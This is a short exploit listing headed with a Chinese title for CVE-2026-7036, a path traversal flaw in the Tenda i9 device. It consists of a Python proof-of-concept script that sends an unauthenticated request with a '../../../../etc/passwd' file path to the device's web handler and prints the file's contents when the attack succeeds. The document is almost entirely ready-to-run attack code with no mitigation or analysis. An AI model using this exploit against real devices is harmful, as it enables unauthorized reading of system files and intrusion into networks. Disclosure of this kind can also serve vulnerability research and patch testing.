CVE-2026-7036 Tenda i9路径遍历漏洞

import requests # Target URL (Replace with actual IP) target_url = "http://192.168.0.1/goform/R7WebsSecurityHandler" # Payload to read /etc/passwd using path traversal payload = { "filepath": "../../../../etc/passwd" } try: # Send malicious request without authentication response = requests.post(target_url, data=payload, timeout=5) # Check if exploit was successful if response.status_code == 200 and "root:" in response.text: print("[+] Exploit successful! Vulnerable to path traversal.") print("[+] Response content:") print(response.text) else: print("[-] Exploit failed or target not vulnerable.") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}")